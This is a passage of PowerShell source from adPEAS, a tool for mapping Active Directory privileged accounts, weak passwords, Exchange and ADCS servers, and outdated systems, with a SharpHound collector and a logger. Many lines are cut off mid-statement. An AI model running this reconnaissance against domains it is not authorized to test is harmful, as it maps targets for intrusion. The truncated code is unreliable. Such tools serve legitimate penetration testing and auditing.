$Object_UserRBCD | Invoke-Logger
}
else {
Write-verbose "[Get-adPEASDelegation] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASDelegation] Error retrieving resource-based constrained delegetion in
}
}
Function Get-adPEASAccounts {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
Enumerates users in high privileged groups which are NOT disabled, like Administrators, Domain Admi
Enumerates high privileged users (admincount=1), which are NOT disabled and where the password do
Enumerates Azure AD Connect users.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SSL
Switch. Specifies that encrypted LDAPS over port 636 is used.
.EXAMPLE
Get-adPEASAccounts
Start Enumerating and use the domain the logged-on user is connected to.
.EXAMPLE
Get-adPEASAccounts -Domain 'contoso.com'
Start Enumerating and use the domain 'contoso.com'.
.EXAMPLE
Get-adPEASAccounts -Domain 'contoso.com' -Server 'dc1.contoso.com'
Start Enumerating using the domain 'contoso.com' and use the domain controller 'dc1.contoso.com' for
#>
[CmdletBinding()]
Param (
#[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $Tru
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL
)
<# +++++ Starting Account Enumeration +++++ #>
$ErrorActionPreference = "Continue"
Invoke-Logger -Class Info -Value "Starting Account Enumeration"
# Building searcher arguments for the following PowerView requests
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
Write-Verbose "[Get-adPEASAccounts] Using '$($Domain)' as target Active Directory Domain"
}
if ($PSBoundParameters['Server']) {
$SearcherArguments['Server'] = $Server
Write-Verbose "[Get-adPEASAccounts] Using '$($Server)' as target domain controller"
}
if ($PSBoundParameters['SSL']) {
$SearcherArguments['SSL'] = $True
Write-Verbose "[Get-adPEASAccounts] Using LDAPS over port 636"
}
# Set some variables we need later on
$RootDomSearcherArguments = $SearcherArguments.clone()
$RootDomSearcherArguments['Domain'] = (((get-domain @SearcherArguments).Forest).RootDomai
# Search for domain SID and Root domain SID
$adPEAS_Dom = $Domain
$adPEAS_RootDom = (((get-domain @SearcherArguments).Forest).RootDomain).name
$adPEAS_DomSID = Get-DomainSID @SearcherArguments
$adPEAS_RootDomSID = Get-DomainSID @RootDomSearcherArguments
# defining members of high privileged domain groups
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908
$adPEAS_Groups = @(
'S-1-5-32-544' # BUILTIN_ADMINISTRATORS
$($adPEAS_DomSID + '-512') # DOMAIN_ADMINS
$($adPEAS_RootDomSID + '-519') # ENTERPRISE_ADMINS
$($adPEAS_DomSID + '-520') # GROUP_POLICY_CREATOR_OWNERS
$(ConvertTo-SID @SearcherArguments -ObjectName DnsAdmins) # DNS_ADMINS - This group d
'S-1-5-32-548' # ACCOUNT_OPERATORS
'S-1-5-32-549' # SERVER_OPERATORS
'S-1-5-32-550' # PRINTER_OPERATORS
'S-1-5-32-551' # BACKUP_OPERATORS
'S-1-5-32-578' # HYPER_V_ADMINS
'S-1-5-32-580' # REMOTE_MANAGEMENT_USERS
$($adPEAS_DomSID + '-517') # CERT_PUBLISHERS
)
<# +++++ Searching for Azure AD Connect +++++ #>
Invoke-Logger -Class Info -Value "Searching for Azure AD Connect"
try {
$adPEAS_UserMSOL = Get-DomainUser @SearcherArguments -LDAPFilter '(cn=msol_*)' -Secur
foreach ($Object_MSOL in $adPEAS_UserMSOL) {
if ($($Object_MSOL.samaccountname) -and $($Object_MSOL.useraccountcontrol) -like '*ACCO
Write-Verbose "[Invoke-adPEASAccounts] Detected Azure AD Connect user '$($Object_MSO
}
elseif ($($Object_MSOL.sAMAccountName) -and $($Object_MSOL.sAMAccountName) -ne '') {
Invoke-Logger -Class Hint -Value "Found Azure AD Connect user '$($Object_MSOL.samacco
if ($Object_MSOL.description){
$Object_MSOLDetails = ($Object_MSOL.description | select-string -pattern 'running on com
if ($Object_MSOLDetails[1]) { $Object_MSOL | Add-Member Noteproperty 'RunningOnSer
if ($Object_MSOLDetails[2]) { $Object_MSOL | Add-Member Noteproperty 'UsedForAzureA
}
$Object_MSOL | Invoke-Logger
}
else {
Write-verbose "[Get-adPEASAccounts] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASAccounts] Error retrieving Azure AD connect information: $_"
}
<# +++++ Searching for Users in High Privileged Groups +++++ #>
Invoke-Logger -Class Info -Value "Searching for Users in High Privileged Groups"
foreach ($Object_VarGroup in $adPEAS_Groups) {
$adPEAS_GroupMembers = @()
try {
if ($Object_VarGroup -match $adPEAS_DomSID -or $Object_VarGroup -match 'S-1-5-32') {
$adPEAS_GroupMembers += Get-DomainGroupMember @SearcherArguments -Identity $O
}
elseif ($Object_VarGroup -match $adPEAS_RootDomSID) {
$adPEAS_GroupMembers += Get-DomainGroupMember @RootDomSearcherArguments -Id
}
}
catch {
Write-Warning "[Get-adPEASAccounts] Error retrieving group membership information: $_"
}

$Object_GroupName = ConvertFrom-SID @SearcherArguments -ObjectSid $Object_VarGroup


if ($adPEAS_GroupMembers -and $adPEAS_GroupMembers -ne '') {
Invoke-Logger -Class Hint -Value "Found members in group '$Object_GroupName':"
foreach ($Object_Member in $adPEAS_GroupMembers) {
$Object_MemberDetail = @()
# build the domain name a group member is part of
if ($($Object_Member.MemberDistinguishedName) -and $($Object_Member.MemberDistingu
$Object_MemberDN = $Object_Member.MemberDistinguishedName
$Object_DomainDN = $($Object_MemberDN.substring($Object_MemberDN.indexOf('DC=
}

# check if a user belongs to the local domain, root domain or foreign domain
try {
if ($Object_DomainDN -eq $adPEAS_Dom) {
$Object_MemberDetail += Get-DomainObject @SearcherArguments -Identity $Object_M
}
elseif ($Object_DomainDN -eq $adPEAS_RootDom) {
Write-Verbose "[Invoke-adPEASAccounts] Account '$($Object_Member.MemberName)'
$Object_MemberDetail += Get-DomainObject @RootDomSearcherArguments -Identity $
}
else {
Write-Verbose "[Invoke-adPEASAccounts] Account '$($Object_Member.MemberName)'
$Object_MemberDetail += Get-DomainObject -Domain $Object_DomainDN -Identity $O
}
}
catch {
Write-Warning "[Get-adPEASAccounts] Error retrieving domain membership information: $
}
try {
# get user information
if ($($Object_Member.MemberDistinguishedName) -and $($Object_MemberDetail.useracc
Write-Verbose "[Invoke-adPEASAccounts] User '$($Object_Member.MemberDistinguish
}
elseif ($($Object_Member.MemberName) -and $($Object_Member.MemberName) -ne '') {
# check if member is a group
if ($($Object_Member.MemberObjectClass) -and $($Object_Member.MemberObjectCla
$ObjectGroupMember = New-Object PSObject
$ObjectGroupMember | Add-Member Noteproperty 'GroupName' $Object_Member.M
$ObjectGroupMember | Add-Member Noteproperty 'distinguishedName' $Object_Mem
$ObjectGroupMember | Add-Member Noteproperty 'description' $Object_MemberDeta
$ObjectGroupMember | Add-Member Noteproperty 'objectSid' $Object_Member.Mem
if ($($Object_Member.MemberDomain) -ne $adPEAS_Dom) {
$ObjectGroupMember | Add-Member Noteproperty 'MemberDomain' $Object_Mem
}
$ObjectGroupMember | Invoke-Logger
}
# check if member is a user or computer
elseif ($($Object_Member.MemberObjectClass) -and $($Object_Member.MemberObjec
# if identity is member is in local domain
if ($($Object_Member.MemberDomain) -eq $adPEAS_Dom) {
$Object_MemberDetail | Invoke-Logger
} else {
# If identity is member in foreign domain
$ObjectGroupMember = New-Object PSObject
$ObjectGroupMember | Add-Member Noteproperty 'sAMAccountName' $Object_M
$ObjectGroupMember | Add-Member Noteproperty 'userPrincipalName' $Object_M
$ObjectGroupMember | Add-Member Noteproperty 'distinguishedName' $Object_M
$ObjectGroupMember | Add-Member Noteproperty 'description' $Object_MemberD
$ObjectGroupMember | Add-Member Noteproperty 'objectSid' $Object_Member.Me
$ObjectGroupMember | Add-Member Noteproperty 'MemberDomain' $Object_Mem
$ObjectGroupMember | Add-Member Noteproperty 'pwdLastSet' $Object_MemberD
$ObjectGroupMember | Add-Member Noteproperty 'lastLogonTimestamp' $Object_
$ObjectGroupMember | Add-Member Noteproperty 'UserAccountControl' $Object_M
$ObjectGroupMember | Invoke-Logger
}
}
else {
Write-Verbose "[Get-adPEASAccounts] No group member object found"
}
} $ObjectGroupMember = $null
}
catch {
Write-Warning "[Get-adPEASAccounts] Error retrieving detailed membership information: $
}
}
}
}
<# +++++ Searching for High Privileged Users with a very old password +++++ #>
$YearCheck = "5"
if ($YearCheck -gt 1) {$YearSpelling = "years"} else {$YearSpelling = "year"}
$DatePwdLastSet = (Get-Date).AddYears(-$YearCheck).ToFileTime()
$FindingPwdLastSet = (Get-Date).AddYears(-10)
Invoke-Logger -Class Info -Value "Searching for High Privileged Users with a password older $YearC
try {
$adPEAS_UserPwNotExpire = Get-DomainUser @SearcherArguments -LDAPFilter "(&(pwdlastse
foreach ($Object_PWNotExpire in $adPEAS_UserPwNotExpire) {
if ($($Object_PWNotExpire.samaccountname) -and $($Object_PWNotExpire.useraccountcontro
Write-Verbose "[Invoke-adPEASAccounts] Password of User '$($Object_PWNotExpire.disting
}
elseif ($($Object_PWNotExpire.sAMAccountName) -and $($Object_PWNotExpire.sAMAccountN
if ($($Object_PWNotExpire.pwdlastset) -le $FindingPwdLastSet) {
Invoke-Logger -Class Finding -Value "Found high privileged user '$($Object_PWNotExpire
} else {
Invoke-Logger -Class Hint -Value "Found high privileged user '$($Object_PWNotExpire.sam
}
$Object_PWNotExpire | Invoke-Logger
}
else {
Write-verbose "[Get-adPEASAccounts] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASAccounts] Error retrieving user with old passwords information: $_"
}
<# +++++ Searching for High Privileged User which may not require a Password +++++ #>
Invoke-Logger -Class Info -Value "Searching for High Privileged User which may not require a Passw
try {
$adPEAS_UserNoPw = Get-DomainUser @SearcherArguments -UACFilter PASSWD_NOTREQD
foreach ($Object_PwNotReq in $adPEAS_UserNoPw) {
if ($($Object_PwNotReq.samaccountname) -and $($Object_PwNotReq.useraccountcontrol) -lik
Write-Verbose "[Invoke-adPEASAccounts] User '$($Object_PwNotReq.distinguishedName)' d
}
elseif ($($Object_PwNotReq.samaccountname) -and $($Object_PwNotReq.sAMAccountName)
Invoke-Logger -Class Hint -Value "Found high privileged user '$($Object_PwNotReq.samacc
$Object_PwNotReq | Invoke-Logger
}
else {
Write-verbose "[Get-adPEASAccounts] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASAccounts] Error retrieving user which may not require a password se
}
}
Function Get-adPEASComputer {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
Enumerates installed Domain Controllers, CA Server, Exchange Server and outdated OS like Windows
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SSL
Switch. Specifies that encrypted LDAPS over port 636 is used.
.EXAMPLE
Get-adPEASComputer
Start Enumerating and use the domain the logged-on user is connected to.
.EXAMPLE
Get-adPEASComputer -Domain 'contoso.com'
Start Enumerating and use the domain 'contoso.com'.
.EXAMPLE
Get-adPEASComputer -Domain 'contoso.com' -Server 'dc1.contoso.com'
Start Enumerating using the domain 'contoso.com' and use the domain controller 'dc1.contoso.com' for
#>
[CmdletBinding()]
Param (
#[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $Tru
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL
)
<# +++++ Starting Computer Enumeration +++++ #>
$ErrorActionPreference = "Continue"
Invoke-Logger -Class Info -Value "Starting Computer Enumeration"
# Building searcher arguments for the following PowerView requests
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
Write-Verbose "[Get-adPEASComputer] Using '$($Domain)' as target Active Directory domain"
}
if ($PSBoundParameters['Server']) {
$SearcherArguments['Server'] = $Server
Write-Verbose "[Get-adPEASComputer] Using '$($Server)' as target domain controller"
}
if ($PSBoundParameters['SSL']) {
$SearcherArguments['SSL'] = $True
Write-Verbose "[Get-adPEASComputer] Using LDAPS over port 636"
}
# Set some variables we need later on
# Setup searcher arguments for Root domain
$RootDomSearcherArguments = $SearcherArguments.clone()
$RootDomSearcherArguments['Domain'] = (((get-domain @SearcherArguments).Forest).RootDomai
<# +++++ Searching Domain Controllers +++++ #>
Invoke-Logger -Class Info -Value "Searching for Domain Controllers"
try {
# Get list of all domain controllers
$adPEAS_ListDC = $((get-domain @SearcherArguments).DomainControllers).Name
foreach ($Object_DC in $adPEAS_ListDC) {
if ($Object_DC -and $Object_DCs -ne '') {
try {
$Object_DCInfo = Get-DomainComputer @SearcherArguments -Identity $Object_DC #
Invoke-Logger -Class Hint -Value "Found Domain Controller '$($Object_DCInfo.samacco
$Object_DCInfo | Invoke-Logger
}
catch {
Write-Warning "[Get-adPEASComputer] Error retrieving domain controller information: $
}
}
else {
Write-verbose "[Get-adPEASComputer] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASComputer] Error retrieving domain controller information: $_"
}
<# +++++ Searching for Exchange Servers +++++ #>
Invoke-Logger -Class Info -Value "Searching for Exchange Servers"
try {
$ExchangeSearcherArguments = $SearcherArguments.Clone()
$ExchangeSearcherArguments['Domain'] = $((get-domain @SearcherArguments).forest)
$adPEAS_ExServerGroup = Get-DomainGroupMember @ExchangeSearcherArguments -Identity
if ($adPEAS_ExServerGroup -and $adPEAS_ExServerGroup -ne '') {
foreach ($Object_ExMember in $adPEAS_ExServerGroup) {
if ($($Object_ExMember.MemberObjectClass) -and $($Object_ExMember.MemberObjectCla
$ObjectSearcherArguments = $SearcherArguments.Clone()
$ObjectSearcherArguments['Domain'] = $Object_ExMember.MemberDomain
$ObjectSearcherArguments['Identity'] = $Object_ExMember.MemberSID

try {
$object_ExSrv = Get-DomainComputer @ObjectSearcherArguments # -SecurityMasks O
Invoke-Logger -Class Hint -Value "Found Exchange Server '$($object_ExSrv.sAMAccou

try {
# Searching for Exchange version
Write-verbose "[Get-adPEASComputer] Checking Exchange version of '$($object_ExS
$adPeas_ExchVer = Invoke-CheckExchange -Identity $object_ExSrv.dNSHostName

if ($($adPeas_ExchVer.ExchangeBuild) -and $($adPeas_ExchVer.ExchangeBuild) -n


$object_ExSrv | Add-Member Noteproperty 'ExchangeBuildNumber' $adPeas_Exch
$object_ExSrv | Add-Member Noteproperty 'ExchangeVersion' $adPeas_ExchVer.E
}
}
catch {
Write-Verbose "[Get-adPEASComputer] Error retrieving Exchange Server software inf
}
$object_ExSrv | Invoke-Logger
}
catch {
Write-Verbose "[Get-adPEASComputer] Error retrieving Exchange Server information: $
}
}
else {
Write-verbose "[Get-adPEASComputer] No Results or Results have been suppressed"
}
}
}
}
catch {
Write-Warning "[Get-adPEASComputer] Error retrieving Exchange Server information: $_"
}
<# +++++ Searching for Enterprise CA Servers +++++ #>
Invoke-Logger -Class Info -Value "Searching for ADCS Servers"
try {
$adPEAS_CABasePath = "CN=Public Key Services,CN=Services,CN=Configuration," + $(Get-Do
Write-Verbose "[Get-adPEASCA] Using '$adPEAS_CABasePath' to search for ADCS Services"
$adPEAS_CAEnterpriseCA = Get-DomainObject @RootDomSearcherArguments -SearchBase ("C
if ($adPEAS_CAEnterpriseCA -and $adPEAS_CAEnterpriseCA -ne '') {
foreach ($Object_ADCS in $adPEAS_CAEnterpriseCA) {
try {
if ($Object_ADCS -and $Object_ADCS -ne '') {
# request all attributes of a single Enterprise CA server by its dns hostname
$Object_ca = Get-DomainComputer @SearcherArguments -Identity $Object_ADCS.dns
Write-Verbose "[Get-adPEASComputer] Found ADCS Server '$($Object_ADCS.dnshost
if ($Object_ca) {
Invoke-Logger -Class Hint -Value "Found ADCS Server '$($Object_ca.sAMAccountNa
$Object_ca | invoke-logger
} else {
Invoke-Logger -Class Note -Value "Found ADCS Server '$($Object_ADCS.dnshostna
}
}
else {
Write-verbose "[Get-adPEASComputer] No Results or Results have been suppressed"
}
}
catch {
Write-Warning "[Get-adPEASComputer] Error retrieving ADCS information: $_"
}

}
}
}
catch {
Write-Warning "[Get-adPEASComputer] Error retrieving ADCS information: $_"
}
<# +++++ Searching for Outdated Operating Systems +++++ #>
Invoke-Logger -Class Info -Value "Searching for Outdated Operating Systems"
$OutdatedOSList = '(|(operatingsystem=Windows Server 200*)(operatingsystem=Windows *7*)(oper
try {
# Get list of all outdated operating systems
$adPEAS_Outdated = Get-DomainComputer @SearcherArguments -LDAPFilter $OutdatedOSLis
foreach ($adPEAS_OutdatedOS in $adPEAS_Outdated) {
if ($($adPEAS_OutdatedOS.samaccountname) -and $($adPEAS_OutdatedOS.useraccountcon
Write-Verbose "[Get-adPEASComputer] Detected outdated '$($adPEAS_OutdatedOS.operat
} elseif ($($adPEAS_OutdatedOS.samaccountname) -and $($adPEAS_OutdatedOS.samaccou
# Suppress outdated OS that have not been active for 2 months
if ($($adPEAS_OutdatedOS.lastLogonTimestamp) -le $((Get-Date).AddMonths(-2))) {
Write-Verbose "[Get-adPEASComputer] Detected outdated '$($adPEAS_OutdatedOS.ope
} else {
Invoke-Logger -Class Finding -Value "Found outdated '$($adPEAS_OutdatedOS.operating
$adPEAS_OutdatedOS | Invoke-Logger
}
}
else {
Write-verbose "[Get-adPEASComputer] No Results or Results have been suppressed"
}
}
}
catch {
Write-Warning "[Get-adPEASComputer] Error retrieving information about outdated OS: $_"
}
}
Function Get-adPEASBloodhound {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
Invoking Sharphound to enumerate given domain. Collection method is set to DCOnly by default.
If you need a full blown BloodHound enumeration, please use 'Invoke-Bloodhound' directly.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to, defaults to the users current domain.
.PARAMETER SSL
Switch. Specifies that encrypted LDAPS over port 636 is used.
.PARAMETER Scope
Changes the scope of enumeration from DCOnly to All. With this setting Bloodhound will activley conne
Default is DCOnly.
.EXAMPLE
Get-adPEASBloodhound
Start Enumerating and use the domain the logged-on user is connected too
.EXAMPLE
Get-adPEASBloodhound -Domain 'contoso.com'
Start Enumerating and use the domain 'contoso.com'
.EXAMPLE
Get-adPEASBloodhound -Domain 'contoso.com' -Scope All
Start Enumerating and use the domain 'contoso.com' with the scope All instead of default DCOnly
.EXAMPLE
Get-adPEASBloodhound -Domain 'contoso.com' -Server 'dc1.contoso.com'
Start Enumerating using the domain 'contoso.com' and use the domain controller 'dc1.contoso.com' for
#>
[CmdletBinding()]
Param (
#[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $Tru
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL,
[Parameter(Mandatory = $false,HelpMessage="Switch SharpHound enumeration mode, e.g. ALL"
[ValidateNotNullOrEmpty()]
[ValidateSet("Default", "All", "DCOnly", "ComputerOnly", "Session", "LoggedOn","Group","ACL","G
[String[]]
$Scope = [string[]] @('DCOnly')
)
<# +++++ Starting BloodHound Enumeration +++++ #>
$ErrorActionPreference = "Continue"
Invoke-Logger -Class Info -Value "Searching for Detailed Active Directory Information with BloodHou

# Building searcher arguments for the following PowerView requests


$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
Write-Verbose "[Get-adPEASBloodhound] Using '$Domain' as target Active Directory domain"
}
if ($PSBoundParameters['Server']) {
$SearcherArguments['DomainController'] = $Server
Write-Verbose "[Get-adPEASBloodhound] Using '$Server' as target domain controller"
}
if ($PSBoundParameters['SSL']) {
$SearcherArguments['SecureLDAP'] = $True
Write-Verbose "[Get-adPEASComputer] Using LDAPS over port 636"
}
if ($PSBoundParameters['Scope']) {
$SearcherArguments['Collectionmethods'] = $Scope
Write-Verbose "[Get-adPEASBloodhound] Using Collectionmethod '$Scope' for Sharphound collec
}
try {
Invoke-Bloodhound @SearcherArguments -OutputPrefix $Domain -OutputDirectory ($pwd).path
}
catch {
Write-Warning "[Get-adPEASBloodhound] Error starting SharpHound collector: $_"
}
}

function Invoke-Logger {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
Logs data to console in colored fashion and logs to a file if configured.
.PARAMETER Object
Gets an user, computer or generic Active Directory object and prints valuable information.
.PARAMETER Class
Enter the level of Log you want to output. Different LogClass level result in different cosole output colors
Possible values are "Info", "Finding", "Hint", "Note", "Secure", "Standard"
.PARAMETER Value
Information which shall be displayed in console or file.
.PARAMETER Raw
Does not put any specical characters in front of the output. Needed for e.g. Kerberoasting output.
.PARAMETER Logo
If set, prints the adPEAS logo and takes the parameter 'Value' as software version.
.PARAMETER Outputfile
If set, output of adPEAS is written to.
.EXAMPLE
Invoke-Logger -Class Info -Value "[*] +++++ Starting prerequisite checks +++++"
Prints the text "[*] Starting prerequisite checks" in color Green (Class Info)
.EXAMPLE
Invoke-Logger -Class Hint -Value "Disabling Defender real time protection"
Prints the text "[+] Disabling Defender real time protection" in color Yellow (Class Hint).
.EXAMPLE
Invoke-Logger -Class Finding -Value "ASREPRoast Hash" -Raw
Prints the text "ASREPRoast Hash" in color Red (Class Finding).
#>
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[ValidateNotNullOrEmpty()]
$Object,
[Parameter(Mandatory = $false)]
[ValidateSet("Info", "Finding", "Hint", "Note", "Secure", "Standard")]
[String[]]
$Class = "Standard",
[Parameter(Mandatory = $false)]
[String[]]
$Value,
[Parameter(Mandatory = $false)]
[Switch]
$Raw,
[Parameter(Mandatory = $false)]
[Switch]
$Logo
)
function Invoke-ScreenPrinter {
[CmdletBinding()]
param (
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[String[]]
$Value,
[Parameter(Mandatory = $false)]
[ValidateSet("Info", "Finding", "Hint", "Note", "Secure", "Standard")]
[String[]]
$Class = "Standard",
[Parameter(Mandatory = $false)]
[Switch]
$Raw,
[Parameter(Mandatory = $false)]
[Switch]
$Logo
)

# Set ANSI escape sequence for colored output


$ANSI_esc = [char]27
$ANSI_Table = @{
"RedYellow" = $ANSI_esc+"[1;31;103m"
"Black" = $ANSI_esc+"[1;30m"
"Red" = $ANSI_esc+"[1;31m"
"Green" = $ANSI_esc+"[1;32m"
"Yellow" = $ANSI_esc+"[1;33m"
"Blue" = $ANSI_esc+"[1;34m"
"Magenta" = $ANSI_esc+"[1;35m"
"Cyan" = $ANSI_esc+"[1;36m"
"LightGrey" = $ANSI_esc+"[1;37m"
"DarkGrey" = $ANSI_esc+"[1;90m"
"Reset" = $ANSI_esc+"[0m"
}
#Build logo text
$Legend_Table = @{
"Info" = "[?] Searching for juicy information"
"Finding" = "[!] Found a vulnerability which may can be exploited in some way"
"Hint" = "[+] Found some interesting information for further investigation"
"Note" = "[*] Some kind of note"
"Secure" = "[#] Some kind of secure configuration"
}
if ($Script:adPEAS_OutputColor -eq $True) {
$Legend_Table["Info"] = $ANSI_Table["Blue"]+$Legend_Table["Info"]+$ANSI_Table["Reset"]
$Legend_Table["Finding"] = $ANSI_Table["Red"]+$Legend_Table["Finding"]+$ANSI_Table["Re
$Legend_Table["Hint"] = $ANSI_Table["Yellow"]+$Legend_Table["Hint"]+$ANSI_Table["Reset"]
$Legend_Table["Note"] = $ANSI_Table["Green"]+$Legend_Table["Note"]+$ANSI_Table["Reset
$Legend_Table["Secure"] = $ANSI_Table["RedYellow"]+$Legend_Table["Secure"]+$ANSI_Tab
$legend_logo_start = $ANSI_Table["Blue"]
$legend_logo_stop = $ANSI_Table["Reset"]
}
# Build logo
if ($Logo -eq $True) {
$Value = @"
$legend_logo_start
_ _____ ______ _____
| | __ \| ____| /\ / ____|
____ __| | |__) | |__ / \ | (___
/ _ |/ _ | ___/| __| / /\ \ \___ \
| (_| | (_| | | | |____ / ____ \ ____) |
\__,_|\__,_|_| |______/_/ \_\_____/
Version $Value
$legend_logo_stop
Active Directory Enumeration
by @61106960
Legend
$($Legend_Table["Info"])
$($Legend_Table["Finding"])
$($Legend_Table["Hint"])
$($Legend_Table["Note"])
$($Legend_Table["Secure"])
"@
}

# Build output format


if ($Class -eq "Info") {
$Value = "`n[?] +++++ $Value +++++"
if ($Script:adPEAS_OutputColor) {$Value = $ANSI_Table["Blue"]+$Value+$ANSI_Table["Reset
} elseif ($Class -eq "Finding") {
if (-not $Raw) {$Value = "[!] $Value"}
if ($Script:adPEAS_OutputColor) {$Value = $ANSI_Table["Red"]+$Value+$ANSI_Table["Reset"
} elseif ($Class -eq "Hint") {
if (-not $Raw) {$Value = "[+] $Value"}
if ($Script:adPEAS_OutputColor) {$Value = $ANSI_Table["Yellow"]+$Value+$ANSI_Table["Res
} elseif ($Class -eq "Note") {
if (-not $Raw) {$Value = "[*] $Value"}
if ($Script:adPEAS_OutputColor) {$Value = $ANSI_Table["Green"]+$Value+$ANSI_Table["Rese
} elseif ($Class -eq "Secure") {
if (-not $Raw) {$Value ="[#] $Value"}
if ($Script:adPEAS_OutputColor) {$Value = $ANSI_Table["RedYellow"]+$Value+$ANSI_Table["
} else {
# If no specific $class is set, this standard is used
if ($Script:adPEAS_OutputColor) {$Value = $ANSI_Table["LightGrey"]+$Value+$ANSI_Table["R
}
write-host $Value
# write output to file if requested
if ($Script:adPEAS_Outputfile) {
# supress some tab and new line character if write to a file
if ($Class -eq "Info") {
$Value = $Value.Replace(":`t",": ").Replace("`t","")
} else {
$Value = $Value.Replace(":`t",": ").Replace("`t","").Replace("`n"," ")
}
$Value | Out-File -FilePath $Script:adPEAS_Outputfile -Append -Encoding utf8
}
}
# Building searcher arguments for the following Invoke-ScreenPrinter requests
$ScreenPrinterArguments = @{}
if ($PSBoundParameters['Class']) { $ScreenPrinterArguments['Class'] = $Class }
if ($PSBoundParameters['Value']) { $ScreenPrinterArguments['Value'] = $Value }
if ($PSBoundParameters['Raw']) { $ScreenPrinterArguments['Raw'] = $True }
if ($PSBoundParameters['Logo']) { $ScreenPrinterArguments['Logo'] = $Logo }

# Define a date in the past which is considered very old for a set password
$DatePwdLastSet = (Get-Date).AddYears(-5)
$FindingPwdLastSet = (Get-Date).AddYears(-10)
$DateLastLogon = (Get-Date).AddMonths(-3)
if ($Object) {
# Parsing the object and search for interesting attributes
if ($($Object.sAMAccountName) -and $($Object.sAMAccountName) -ne '') {
$Value = "sAMAccountName:`t`t`t`t$($object.sAMAccountName)"
Invoke-ScreenPrinter -Value $Value
}
if ($($Object.GroupName) -and $($Object.GroupName) -ne '') {
$Value = "GroupName:`t`t`t`t$($object.GroupName)"
Invoke-ScreenPrinter -Value $Value
}
if ($($Object.userPrincipalName) -and $($Object.userPrincipalName) -ne '') {
$Value = "userPrincipalName:`t`t`t$($object.userPrincipalName)"
Invoke-ScreenPrinter -Value $Value
}
if ($($Object.distinguishedName) -and $($Object.distinguishedName) -ne '') {
$Value = "distinguishedName:`t`t`t$($object.distinguishedName)"
Invoke-ScreenPrinter -Value $Value
}
if ($($Object.objectSid) -and $($Object.objectSid) -ne '') {
$Value = "objectSid:`t`t`t`t$($object.objectSid)"
Invoke-ScreenPrinter -Value $Value
}
if ($($Object.sidhistory) -and $($Object.sidhistory) -ne '') {
$Value = "sidhistory:`t`t`t`t$($object.sidhistory)"
Invoke-ScreenPrinter -Value $Value -Class Hint
}
if ($($Object.MemberDomain) -and $($Object.MemberDomain) -ne '') {
$Value = "Foreign MemberDomain:`t`t$($object.MemberDomain)"
Invoke-ScreenPrinter -Value $Value -Class Hint
}
if ($($Object.operatingsystem) -and $($Object.operatingsystem) -ne '') {
$Value = "operatingsystem:`t`t`t$($object.operatingsystem)"
# Find computer with Windows Server 2003, 2008, 2008 R2
if ($($Object.operatingsystem) -like 'Windows Server 2012*' -or $($Object.operatingsystem) -like
Invoke-ScreenPrinter -Value $Value -Class Finding
} else {
Invoke-ScreenPrinter -Value $Value
}
}
if ($($Object.ExchangeVersion) -and $($Object.ExchangeVersion) -ne '') {
$Value = "ExchangeVersion:`t`t`t$($object.ExchangeVersion)"
# search for older Exchange versions than Exchange 2019 and 2016, based on the build numbe
if ($($object.ExchangeBuildNumber) -notmatch "^15.1.*|^15.2.*" ) {
Invoke-ScreenPrinter -Value $Value -Class Finding
} else {
Invoke-ScreenPrinter -Value $Value
}
}
if ($($Object.ExchangeBuildNumber) -and $($Object.ExchangeBuildNumber) -ne '') {
$Value = "ExchangeBuildNumber:`t`t`t$($object.ExchangeBuildNumber)"
Invoke-ScreenPrinter -Value $Value
}
if ($($Object.memberOf) -and $($Object.memberOf) -ne '') {
if ($($Object.memberOf) -match '^CN=Protected Users,CN=.*') {
$Value = "memberOf:`t`t`t`t$($($object.memberOf) -join "`n`t`t`t`t`t")"
Invoke-ScreenPrinter -Value $Value
Invoke-ScreenPrinter -Value "memberOf 'Protected Users':`t`tThis identiy is member of the 'P
} else {
$Value = "memberOf:`t`t`t`t$($($object.memberOf) -join "`n`t`t`t`t`t")"
Invoke-ScreenPrinter -Value $Value
}
}
if ($($Object.description) -and $($Object.description) -ne '') {
$Value = "description:`t`t`t$($object.description)"
Invoke-ScreenPrinter -Value $Value -Class Hint
}
